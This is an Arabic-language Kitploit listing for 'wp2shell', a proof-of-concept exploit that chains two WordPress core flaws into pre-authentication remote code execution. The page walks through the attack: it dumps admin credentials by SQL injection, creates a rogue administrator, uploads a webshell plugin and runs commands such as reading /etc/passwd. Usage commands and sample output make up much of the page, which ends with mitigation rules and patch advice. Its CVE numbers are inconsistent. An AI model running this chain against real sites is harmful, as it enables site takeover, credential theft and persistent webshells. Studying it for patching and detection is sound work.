Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Wp2Shell — استغلال PoC لـ Wp2Shell، CVE-2026-63030 + CVE-2026-63137 | Kitploit
أدوات/GitHubGitHub/c0gnit00/wp2shell
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHubc0gnit00/wp2shell

Wp2Shell

استغلال PoC لـ Wp2Shell، CVE-2026-63030 + CVE-2026-63137

عرض المستودع
1214منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

wp2shell

تنفيذ كود عن بُعد قبل المصادقة في نواة ووردبريس.

CVE-2026-60137 (حقن SQL في WP_Query) مقترنة مع CVE-2026-63030 (التباس توجيه الدفعات في REST API).

لأغراض البحث الأمني التعليمي والمصرَّح به فقط.


الإصدارات المتأثرة

الإصدارات من 6.9.0 حتى 6.9.4 ومن 7.0.0 حتى 7.0.1 من ووردبريس معرّضة للثغرة. تم إصلاحها في الإصدارين 6.9.5 و7.0.2.


كيف يعمل

يجمع هذا الاستغلال بين ثغرتين:

CVE-2026-63030 — التباس توجيه الدفعات. تعالج نقطة نهاية الدفعات في REST API الموجودة عند /wp-json/batch/v1 (أو /?rest_route=/batch/v1) الطلبات الفرعية على مرحلتين: فهي تطابق كل مسار مع مُعالِج، ثم تُرسِل كل طلب عبر المُعالِج المطابق له. وعند إدراج مسار مشوّه عمدًا (///) بوصفه أول طلب فرعي، يخزّن ووردبريس كائن WP_Error في الفهرس 0 من مصفوفة المسارات المطابقة، ما يُزيح كل تعيين لاحق للمُعالِجات إلى الخلف بمقدار فهرس واحد. وعندها يقترن كل طلب في حلقة الإرسال بمُعالِج خاطئ — إذ يُنفَّذ طلبٌ تم التحقق منه وفق Schema A بواسطة Handler B، متجاوزًا تنقية المعاملات التي كان يفرضها Schema A.

CVE-2026-60137 — حقن SQL في WP_Query. تقبل نقطة نهاية مجموعة المقالات معامل الذي يفرض مخططه قيمًا صحيحة داخل مصفوفة، ويُنقّي كل عنصر عبر قبل وصوله إلى . ويؤدي عدم تزامن الدفعات إلى تجاوز هذا المعامل للتحقق من المخطط بالكامل ووصوله إلى منطق في كسلسلة نصية خام. ولأن يُطبَّق فقط داخل فرع ، تُدرَج السلسلة الخام مباشرة في جملة SQL ، ما يتيح حقن .

author_exclude
absint()
WP_Query
author__not_in
WP_Query
absint()
is_array()
WHERE
UNION SELECT

تتوالى السلسلة الكاملة في أربع خطوات:

  1. التأكد من إمكانية الوصول إلى نقطة نهاية الدفعات ومن أن عدم التزامن يعمل.
  2. استخراج إصدار قاعدة البيانات، والمستخدم، وبادئة الجداول، وبيانات اعتماد المسؤول عبر صفوف UNION SELECT المنعكسة في استجابة REST بصيغة JSON.
  3. إنشاء حساب مسؤول جديد عبر حقن صفوف wp_posts مزيفة تُسمِّم ذاكرة oEmbed المؤقتة وتُطلق خطاف نشر changeset في WP_Customize_Manager، والذي يستدعي wp_insert_user() مع role=administrator.
  4. المصادقة بالحساب الجديد، ثم رفع إضافة PHP أحادية الملف كأرشيف zip عبر واجهة رفع الإضافات القياسية، وتفعيلها، وتنفيذ أوامر نظام التشغيل عبر القشرة (shell).

المتطلبات

  • Python 3.8 أو أحدث
  • لا تبعيات خارجية (المكتبة القياسية فقط)
  • وصول شبكي إلى نسخة ووردبريس المستهدفة

التثبيت

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell

لا حاجة إلى تثبيت عبر pip.


الاستخدام

سلسلة الاستغلال الكاملة

تشغِّل الخطوات الأربع جميعها: تأكيد عدم التزامن (desync)، واستطلاع قاعدة البيانات عبر SQL، وإنشاء حساب المسؤول، ونشر ويب شيل. يتم إنشاء حساب مسؤول وإضافة جديدتين في كل تشغيل.

root@kitploit:~
python3 exploit.py --url http://TARGET --command "id"
root@kitploit:~
python3 exploit.py --url http://TARGET --command "uname -a"
root@kitploit:~
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"

عند استهداف موقع HTTPS بشهادة ذاتية التوقيع:

root@kitploit:~
python3 exploit.py --url https://TARGET --command "id" --insecure

إعادة استخدام ويب شيل موجود

بعد اكتمال تشغيل السلسلة الكاملة، يطبع السكربت أمر إعادة استخدام جاهزًا مع بيانات الاعتماد ومسار القشرة المُنشأين مسبقًا. مرِّر هذه الخيارات الثلاثة في التشغيلات اللاحقة لتخطي مرحلتي SQL وإنشاء المسؤول بالكامل:

root@kitploit:~
python3 exploit.py \
  --url                  http://TARGET \
  --command              "whoami" \
  --admin-user           wp2_poc_da4d1cf83acb \
  --admin-password       "Wp2!J47LBKLEbu4ebAJo" \
  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

مرجع خيارات سطر الأوامر

root@kitploit:~
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
                  [--admin-user USER] [--admin-password PASS]
                  [--prev-webshell-plugin PATH]
الخيارالمختصرالوصف
--url-uعنوان ووردبريس الأساسي المستهدف. الافتراضي: http://localhost:8080
--command-cأمر نظام التشغيل المطلوب تنفيذه. الافتراضي: id
--insecure-kتعطيل التحقق من شهادة TLS للشهادات ذاتية التوقيع
--admin-userوضع إعادة الاستخدام: اسم مستخدم المسؤول المُنشأ مسبقًا
--admin-passwordوضع إعادة الاستخدام: كلمة مرور المسؤول المُنشأة مسبقًا
--prev-webshell-pluginوضع إعادة الاستخدام: مسار الويب لإضافة القشرة المنشورة مسبقًا

يجب تزويد الخيارات الثلاثة --admin-* / --prev-webshell-plugin جميعها معًا أو عدم تزويد أيٍّ منها.


مثال على المخرجات

السلسلة الكاملة

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  http://localhost:8080
  Command:  uname -a
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi -- database reconnaissance
  [+] Database version  : 10.11.18-MariaDB-ubu2204
  [+] Database user     : wpuser@%
  [+] Database name     : wordpress
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [96, 97, 98]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_poc_da4d1cf83acb  password: Wp2!J47LBKLEbu4ebAJo

[STEP 4] Authenticating + deploying webshell -- running: uname -a
  [*] Logging in to wp-admin...
  [+] Logged in as administrator
  [*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
  [+] Plugin uploaded
  [*] Activating plugin...
  [+] Plugin activated
  [*] Executing: uname -a

============================================================
  COMMAND OUTPUT  --  uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================

  [+] RCE confirmed -- Pre-Auth exploit chain complete

  +-- RE-USE HINT ------------------------------------------+
  |  Skip the full chain next time -- pass these flags:      |
  +-----------------------------------------------------------+

  python3 exploit.py \
    --url                  http://localhost:8080 \
    --command              'YOUR_COMMAND' \
    --admin-user           wp2_poc_da4d1cf83acb \
    --admin-password       'Wp2!J47LBKLEbu4ebAJo' \
    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

إجراءات التخفيف

قم بالتحديث فورًا إلى إصدار مُصلَح.

  • WordPress 7.0.x: حدِّث إلى 7.0.2 أو أحدث — wp core update
  • WordPress 6.9.x: حدِّث إلى 6.9.5 أو أحدث — wp core update --version=6.9.5
  • WordPress 6.8.x: حدِّث إلى 6.8.6 أو أحدث — wp core update --version=6.8.6

إذا لم يكن تطبيق التحديث ممكنًا فورًا، فاحظر صيغتي عنوان URL لنقطة نهاية الدفعات على مستوى خادم الويب أو جدار حماية التطبيقات (WAF). يجب حظر المسارين معًا — فالقاعدة التي تغطي صيغة الروابط الجميلة فقط تترك صيغة سلسلة الاستعلام مفتوحة:

root@kitploit:~
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
root@kitploit:~
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]

أو عطِّل نقطة النهاية من داخل ووردبريس باستخدام إضافة إلزامية الاستخدام (must-use plugin):

root@kitploit:~
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );

تعامل مع جميع الإجراءات ما قبل التحديث كحلول مؤقتة فقط. طبِّق التحديث في أقرب وقت ممكن، وتحقق من الإصدار المثبَّت على كل نسخة معرّضة للإنترنت بعد ذلك.


المراجع

  • استشارة أمنية من Searchlight Cyber: https://www.assetnote.io/resources/research/wp2shell
  • ملاحظات إصدار WordPress 7.0.2: https://wordpress.org/news/2026/07/wordpress-7-0-2
  • ملاحظات إصدار WordPress 6.9.5: https://wordpress.org/news/2026/07/wordpress-6-9-5
  • استشارة أمنية من Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wp2shell
  • تحليل Rapid7: https://www.rapid7.com/blog/post/2026/07/wp2shell

إخلاء المسؤولية

هذه الأداة مُقدَّمة للأغراض التعليمية واختبار الاختراق المصرَّح به فقط. تشغيلها ضد أي نظام دون إذن كتابي صريح مسبق من مالك النظام يُعد أمرًا غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام.

تنزيل الأداة